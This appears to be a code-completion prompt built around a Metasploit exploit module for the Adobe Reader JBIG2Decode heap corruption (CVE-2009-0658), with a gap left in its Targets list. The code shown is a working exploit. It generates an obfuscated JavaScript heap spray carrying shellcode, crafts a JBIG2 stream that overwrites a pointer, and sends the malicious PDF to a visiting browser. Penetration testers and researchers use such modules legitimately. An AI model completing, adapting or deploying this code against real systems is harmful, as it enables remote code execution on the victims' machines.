You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: adobe_jbig2decode.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe JBIG2Decode Heap Corruption',
      'Description'    => %q{
          This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
        This module relies upon javascript for the heap spray.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        # Metasploit implementation
        'natron',
        # bl4cksecurity blog explanation of vuln [see References]
        'xort', 'redsand',
        # obfuscation techniques and pdf template from util_printf
        'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
      ],
      'References'     =>
        [
          [ 'CVE' , '2009-0658' ],
          [ 'OSVDB', '52073' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => ""
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
    
  def on_request_uri(cli, request)
    return if ((p = regenerate_payload(cli)) == nil)
    # Encode the shellcode.
    shellcode 		= Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    ptroverwrite 	= Rex::Text.to_unescape([target.ret].pack("V"))

    nops    = Rex::Text.to_unescape(make_nops(4))

    # Randomize some variables
    rand1	= rand_text_alpha(rand(50) + 1)
    rand2	= rand_text_alpha(rand(50) + 1)
    rand3	= rand_text_alpha(rand(50) + 1)
    rand4	= rand_text_alpha(rand(50) + 1)
    rand5	= rand_text_alpha(rand(50) + 1)
    rand6	= rand_text_alpha(rand(50) + 1)
    rand7	= rand_text_alpha(rand(50) + 1)
    rand8	= rand_text_alpha(rand(50) + 1)
    rand9	= rand_text_alpha(rand(50) + 1)
    rand10	= rand_text_alpha(rand(50) + 1)
    rand11	= rand_text_alpha(rand(50) + 1)
    rand12	= rand_text_alpha(rand(50) + 1)
    rand13	= rand_text_alpha(rand(50) + 1)
    rand14	= rand_text_alpha(rand(50) + 1)
    rand15	= rand_text_alpha(rand(50) + 1)
    rand16	= rand_text_alpha(rand(50) + 1)
    randnop     = rand_text_alpha(rand(100) + 1)

    script = %Q|
    var #{rand1} = "";
    var #{rand2} = "";
    var #{rand3} = unescape("#{shellcode}");
    var #{rand4} = "";
    var #{randnop} = "#{nops}";

    for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
    #{rand6} = #{rand4} + #{rand3};
    #{rand7} = unescape(#{randnop});
    #{rand8} = 20;
    #{rand9} = #{rand8}+#{rand6}.length
    while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
    #{rand10} = #{rand7}.substring(0, #{rand9});
    #{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
    while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
    #{rand12} = new Array();
    for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};

    for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
    #{rand13} = #{rand2}.length + 20
    while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
    #{rand14} = #{rand2}.substring(0, #{rand13});
    #{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
    while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
    #{rand16} = new Array();
    for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
    eaxptr		= "\x00\x20\x50\xff" 		# CALL DWORD PTR DS:[EAX+20]
    eaxp20ptr	= "\x05\x69\x50\x50"		# Shellcode location called by CALL DWORD PTR DS:[EAX+20]
    modifier	= "\x00\x69\x00\x00"		# ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
                # natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
                # EAX: 0x690000   ECX: 0x2004a00   WriteAddr: 0xa3449ec
                # EAX: 0x690000   ECX: 0x358a228   WriteAddr: 0xb8ca214

    jbig2stream	= eaxptr + "\x40\x00" + modifier + eaxp20ptr

    # Create the pdf
    pdf = make_pdf(script, jbig2stream)

    print_status("Sending #{self.name}")

    send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) #

    handler(cli)

  end